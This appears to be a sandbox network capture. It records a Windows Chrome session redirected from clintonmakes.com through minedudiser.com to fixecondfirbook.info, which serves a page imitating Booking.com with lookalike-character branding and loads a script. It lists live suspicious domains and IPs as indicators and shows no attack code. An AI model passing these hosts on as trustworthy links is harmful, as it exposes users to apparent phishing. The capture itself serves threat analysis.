Jan 16, 2025 17:19:58.238790035 CET	448	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:19:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked server: Apache/2.4.37 (Rocky Linux) Content-Encoding: gzip Data Raw: 66 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 91 b1 6e c3 20 10 86 5f 85 b2 78 72 69 33 a5 8e ed 25 cd dc 0e 59 3a 45 04 2e 36 aa 01 e7 38 da fa ed 4b 62 a7 b2 54 45 f2 c2 e9 a4 ef ff 38 b8 f2 e1 f5 6d bb ff 78 df b1 96 6c 57 97 d3 09 52 d7 25 19 ea a0 2e c5 54 2d 90 4c 14 f5 39 9c a3 f9 aa f8 d6 3b 02 47 f9 7e e8 81 33 35 76 15 27 f8 21 71 f1 6c 98 6a 25 06 a0 2a d2 29 5f f3 49 e1 a4 85 44 7d 1b 22 c0 42 49 d4 b3 70 88 d6 4a 1c 0e 9d c4 06 0e c6 ca 06 6e b9 1e 7d 0f 48 43 c5 7d 53 5c 67 9a e5 b8 f8 47 dd 6e 58 80 26 a1 86 a0 d0 f4 64 bc 5b a6 5d 1c 48 f2 f1 1d 33 ea ae f5 1e 39 fb f7 0c e1 84 10 da ec 8f ca 9e 36 2c 62 57 5d a0 50 08 61 8d 03 1d b5 09 80 8f ca 5b 71 f4 fe d3 e8 f5 6a f5 f2 9c a5 7d 8e db 3d 7a 3d a4 66 2a d7 bd b3 5f 9e 07 89 53 0e 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: fcn _xri3%Y:E.68KbTE8mxlWR%.T-L9;G~35v'!qlj%)_ID}"BIpJn}HC}S\gGnX&d[]H396,bW]Pa[qj}=z=f_S0
Jan 16, 2025 17:19:58.303672075 CET	381	OUT	GET /favicon.ico HTTP/1.1 Host: clintonmakes.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://clintonmakes.com/215c/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jan 16, 2025 17:19:58.643409014 CET	371	IN	HTTP/1.1 404 Not Found Date: Thu, 16 Jan 2025 16:19:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked server: Apache/2.4.37 (Rocky Linux) Content-Encoding: gzip Data Raw: 61 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4d ce 4d 0f 82 30 0c 06 e0 bf 52 b9 4b d1 70 6c 76 90 8f 48 82 48 cc 38 78 c4 ac 04 12 64 c8 86 c6 7f ef 74 17 2f 4d da f7 c9 9b d2 26 3d 27 f2 5a 67 70 94 a7 12 ea e6 50 16 09 04 5b c4 22 93 39 62 2a 53 9f ec c3 08 31 ab 02 41 bd bd 8f 6e 72 ab 04 d9 c1 8e 2c e2 28 86 4a 5b c8 f5 3a 29 42 7f 24 f4 e4 a6 d5 db f1 9d f8 13 6e a3 59 c8 9e 61 e1 c7 ca c6 b2 82 e6 52 c2 ab 35 30 39 d6 7d 19 e8 09 6c 3f 18 30 bc 3c 79 09 09 67 57 ea eb f0 f7 04 7c 00 b6 fe c5 76 be 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a8MM0RKplvHH8xdt/M&='ZgpP["9b*S1Anr,(J[:)B$nYaR509}l?0<ygW\|v0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	61448	66.63.187.216	80	7368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 16, 2025 17:20:07.973032951 CET	212	IN	HTTP/1.0 408 Request Time-out Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 38 20 52 65 71 75 65 73 74 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 64 69 64 6e 27 74 20 73 65 6e 64 20 61 20 63 6f 6d 70 6c 65 74 65 20 72 65 71 75 65 73 74 20 69 6e 20 74 69 6d 65 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>408 Request Time-out</h1>Your browser didn't send a complete request in time.</body></html>
Jan 16, 2025 17:20:52.982129097 CET	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	61431	66.63.187.216	443	7368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:19:56 UTC	664	OUT	GET /215c/ HTTP/1.1 Host: clintonmakes.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:19:56 UTC	210	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:19:56 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1070 Connection: close Set-Cookie: f5510ad44=0ad448213ea0 server: Apache/2.4.37 (Rocky Linux)
2025-01-16 16:19:56 UTC	829	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 63 61 72 64 22 20 63 6f 6e 74 65 6e 74 3d 22 73 75 6d 6d 61 72 79 5f 6c 61 72 67 65 5f 69 6d 61 67 65 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 3c 6d 65 74 61 20 70 72 6f Data Ascii: <!DOCTYPE html><html><head><title></title><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta name="twitter:card" content="summary_large_image"><meta property="og:title" content=""/><meta property="twitter:title" content=""/><meta pro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	61458	186.64.116.70	443	7368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:19:59 UTC	690	OUT	GET /bookid82291 HTTP/1.1 Host: minedudiser.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: http://clintonmakes.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:19:59 UTC	344	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 16 Jan 2025 16:19:59 GMT Server: Apache Strict-Transport-Security: max-age=63072000; includeSubdomains; Location: https://fixecondfirbook.info/ Cache-Control: max-age=0 Expires: Thu, 16 Jan 2025 16:19:59 GMT Content-Length: 237 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-16 16:19:59 UTC	237	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 69 78 65 63 6f 6e 64 66 69 72 62 6f 6f 6b 2e 69 6e 66 6f 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://fixecondfirbook.info/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	61469	104.21.94.195	443	7368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:20:00 UTC	684	OUT	GET / HTTP/1.1 Host: fixecondfirbook.info Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: http://clintonmakes.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:20:00 UTC	928	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:20:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Express Accept-Ranges: bytes Cache-Control: public, max-age=0 Last-Modified: Tue, 07 Jan 2025 11:10:39 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FPGT6t4jqND62DCtOJhvTzdQQxB6vC7X6kfy05l3mnXJsynLlOsOhjiztnEBQElowIz3F1E%2BV%2BgIuWX%2FVHqpujBgfKVRETukb2y69ope283Y2jqepAAsphCFr79LR6%2B%2BvyPsMjY9GA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902f6e2f7d89ab06-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13907&min_rtt=13900&rtt_var=5227&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=1262&delivery_rate=209169&cwnd=32&unsent_bytes=0&cid=8677651fe1467cb1&ts=383&x=0"
2025-01-16 16:20:00 UTC	441	IN	Data Raw: 33 33 36 37 0d 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 42 d0 be d0 be 6b 69 6e 67 2e d1 81 d0 be 6d 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a Data Ascii: 3367<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Bking.m</title> <style> body { margin: 0; font-family: Arial, sans-serif;
2025-01-16 16:20:00 UTC	1369	IN	Data Raw: 74 3a 20 35 35 70 78 3b 0a 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 0a 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 68 65 61 64 65 72 20 68 31 20 7b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 30 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 63 6f 6e 74 65 6e 74 20 7b 0a 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 34 30 30 70 78 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 2d 32 30 70 78 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 20 20 20 20 Data Ascii: t: 55px; justify-content: space-between; align-items: center; left: 0; } header h1 { margin: 0; font-size: 20px; } .content { max-width: 400px; margin: -20px auto; background: white;
2025-01-16 16:20:00 UTC	1369	IN	Data Raw: 78 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 2d 34 35 70 78 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 36 36 36 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 66 6f 6f 74 65 72 20 61 20 7b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 37 31 63 32 3b 0a 20 20 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 66 6f 6f 74 65 72 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 68 72 20 7b 0a 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 20 61 6e 74 69 Data Ascii: x; margin-top: -45px; font-size: 12px; color: #666; } footer a { color: #0071c2; text-decoration: none; } footer a:hover { text-decoration: underline; } hr { -webkit-font-smoothing: anti
2025-01-16 16:20:00 UTC	1369	IN	Data Raw: 72 5f 64 65 73 74 72 75 63 74 69 76 65 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 64 65 73 74 72 75 63 74 69 76 65 5f 6c 69 67 68 74 3a 20 23 66 63 62 34 62 34 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 64 65 73 74 72 75 63 74 69 76 65 5f 6c 69 67 68 74 65 72 3a 20 23 66 66 65 62 65 62 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 64 65 73 74 72 75 63 74 69 76 65 5f 6c 69 67 68 74 65 73 74 3a 20 23 66 66 66 30 66 30 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 63 61 6c 6c 6f 75 74 5f 64 61 72 6b 3a 20 23 62 63 35 62 30 31 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 63 61 6c 6c 6f 75 74 3a 20 23 66 66 38 30 30 30 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f Data Ascii: r_destructive: #c00; --bui_color_destructive_light: #fcb4b4; --bui_color_destructive_lighter: #ffebeb; --bui_color_destructive_lightest: #fff0f0; --bui_color_callout_dark: #bc5b01; --bui_color_callout: #ff8000; --bui_co
2025-01-16 16:20:00 UTC	1369	IN	Data Raw: 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 61 63 74 69 6f 6e 5f 6c 69 67 68 74 65 72 3a 20 23 65 34 66 34 66 66 3b 0a 20 20 20 20 20 20 2d 2d 67 65 6e 69 75 73 5f 63 6f 6c 6f 72 5f 70 72 69 6d 61 72 79 3a 20 23 30 30 34 63 62 38 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 62 61 73 65 6c 69 6e 65 3a 20 32 34 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 70 61 64 64 69 6e 67 3a 20 31 32 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 6e 65 67 61 74 69 76 65 5f 70 61 64 64 69 6e 67 3a 20 2d 31 32 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 6d 65 64 69 75 6d 5f 62 72 65 61 6b 70 6f 69 6e 74 3a 20 35 37 36 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 6c 61 72 67 65 5f 62 72 65 61 6b 70 6f 69 6e 74 3a 20 31 30 32 34 70 78 3b 0a 20 20 20 20 20 20 2d Data Ascii: --bui_color_action_lighter: #e4f4ff; --genius_color_primary: #004cb8; --bui_baseline: 24px; --bui_padding: 12px; --bui_negative_padding: -12px; --bui_medium_breakpoint: 576px; --bui_large_breakpoint: 1024px; -
2025-01-16 16:20:00 UTC	1369	IN	Data Raw: 6c 61 72 67 65 73 74 5f 6c 69 6e 65 5f 68 65 69 67 68 74 3a 20 34 30 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 66 6f 6e 74 5f 77 65 69 67 68 74 5f 6e 6f 72 6d 61 6c 3a 20 34 30 30 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 66 6f 6e 74 5f 77 65 69 67 68 74 5f 6d 65 64 69 75 6d 3a 20 35 30 30 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 66 6f 6e 74 5f 77 65 69 67 68 74 5f 62 6f 6c 64 3a 20 37 30 30 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 66 6f 6e 74 5f 73 74 61 63 6b 5f 73 61 6e 73 3a 20 22 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 22 2c 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 22 52 6f 62 6f 74 6f 22 2c 20 22 48 65 6c 76 65 74 69 63 61 22 2c 20 22 41 72 69 61 6c 22 2c 20 73 61 6e 73 2d 73 65 72 69 Data Ascii: largest_line_height: 40px; --bui_font_weight_normal: 400; --bui_font_weight_medium: 500; --bui_font_weight_bold: 700; --bui_font_stack_sans: "BlinkMacSystemFont", -apple-system, "Segoe UI", "Roboto", "Helvetica", "Arial", sans-seri
2025-01-16 16:20:00 UTC	1369	IN	Data Raw: 34 37 34 37 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 66 6f 72 65 67 72 6f 75 6e 64 5f 69 6e 76 65 72 74 65 64 3a 20 23 66 35 66 35 66 35 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 72 61 6e 64 5f 70 72 69 6d 61 72 79 5f 66 6f 72 65 67 72 6f 75 6e 64 3a 20 23 30 30 33 62 39 35 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 61 63 63 65 6e 74 5f 66 6f 72 65 67 72 6f 75 6e 64 3a 20 23 39 34 36 38 30 30 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 61 63 74 69 6f 6e 5f 66 6f 72 65 67 72 6f 75 6e 64 3a 20 23 30 30 36 63 65 34 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 63 61 6c 6c 6f 75 74 5f 66 6f 72 65 67 72 6f 75 6e 64 3a 20 23 39 32 33 65 30 31 3b 0a 20 20 20 20 20 20 2d 2d 62 Data Ascii: 4747; --bui_color_foreground_inverted: #f5f5f5; --bui_color_brand_primary_foreground: #003b95; --bui_color_accent_foreground: #946800; --bui_color_action_foreground: #006ce4; --bui_color_callout_foreground: #923e01; --b
2025-01-16 16:20:00 UTC	1369	IN	Data Raw: 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 6f 6e 5f 62 72 61 6e 64 5f 67 65 6e 69 75 73 5f 70 72 69 6d 61 72 79 5f 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 69 6e 76 65 72 74 65 64 3a 20 23 31 61 31 61 31 61 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 34 37 34 37 34 37 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 74 72 61 6e 73 70 61 72 65 6e 74 3a 20 72 67 62 61 28 32 36 2c 20 32 36 2c 20 32 36 2c 20 30 29 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 61 6c 74 3a 20 23 66 35 66 35 Data Ascii: ackground: #fff; --bui_color_on_brand_genius_primary_background: #fff; --bui_color_background_inverted: #1a1a1a; --bui_color_background: #474747; --bui_color_transparent: rgba(26, 26, 26, 0); --bui_color_background_alt: #f5f5
2025-01-16 16:20:00 UTC	1369	IN	Data Raw: 74 69 76 65 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 64 79 6e 61 6d 69 63 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 6f 6e 5f 62 72 61 6e 64 5f 70 72 69 6d 61 72 79 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 64 79 6e 61 6d 69 63 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 72 61 6e 64 5f 70 72 69 6d 61 72 79 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 64 79 6e 61 6d 69 63 3a 20 23 30 30 33 62 39 35 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 61 63 63 65 6e 74 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 64 79 6e 61 6d 69 63 3a 20 23 66 66 62 37 30 30 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 63 61 6c 6c 6f 75 74 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 64 79 6e 61 6d 69 63 3a 20 23 66 Data Ascii: tive_background_dynamic: #fff; --bui_color_on_brand_primary_background_dynamic: #fff; --bui_color_brand_primary_background_dynamic: #003b95; --bui_color_accent_background_dynamic: #ffb700; --bui_color_callout_background_dynamic: #f
2025-01-16 16:20:00 UTC	1369	IN	Data Raw: 62 6f 64 79 5f 31 5f 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 34 70 78 3b 0a 20 20 20 20 20 20 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 73 6d 61 6c 6c 5f 66 6f 6e 74 5f 62 6f 64 79 5f 31 5f 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 53 65 67 6f 65 20 55 49 2c 20 52 6f 62 6f 74 6f 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 73 6d 61 6c 6c 5f 66 6f 6e 74 5f 62 6f 64 79 5f 32 5f 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 73 6d 61 6c 6c 5f 66 6f 6e 74 5f Data Ascii: body_1_line-height: 24px; --DO_NOT_USE_bui_small_font_body_1_font-family: BlinkMacSystemFont, -apple-system, Segoe UI, Roboto, Helvetica, Arial, sans-serif; --DO_NOT_USE_bui_small_font_body_2_font-size: 14px; --DO_NOT_USE_bui_small_font_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	61480	104.21.94.195	443	7368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:20:01 UTC	542	OUT	GET /languageRevert.js HTTP/1.1 Host: fixecondfirbook.info Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://fixecondfirbook.info/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:20:01 UTC	967	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:20:01 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 874 Connection: close X-Powered-By: Express Cache-Control: public, max-age=14400 Last-Modified: Tue, 07 Jan 2025 11:10:39 GMT ETag: W/"36a-1944075a398" CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BtKyVLDxEB%2BFaTsV6a09YtyI2HoiY903cd%2Bs7NwahU9uOssLFjGmK8yGrFGC5EMfYhKbCMLzvos1GeCrFucJZQDC%2Fwd5d093bPdcG9xmidjL2BSJSVdqmJENckhGTNaz3N5D0CdJFw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902f6e36dac2aad0-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14292&min_rtt=14292&rtt_var=5359&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=1120&delivery_rate=204310&cwnd=32&unsent_bytes=0&cid=245239fdeb42e0ad&ts=385&x=0"
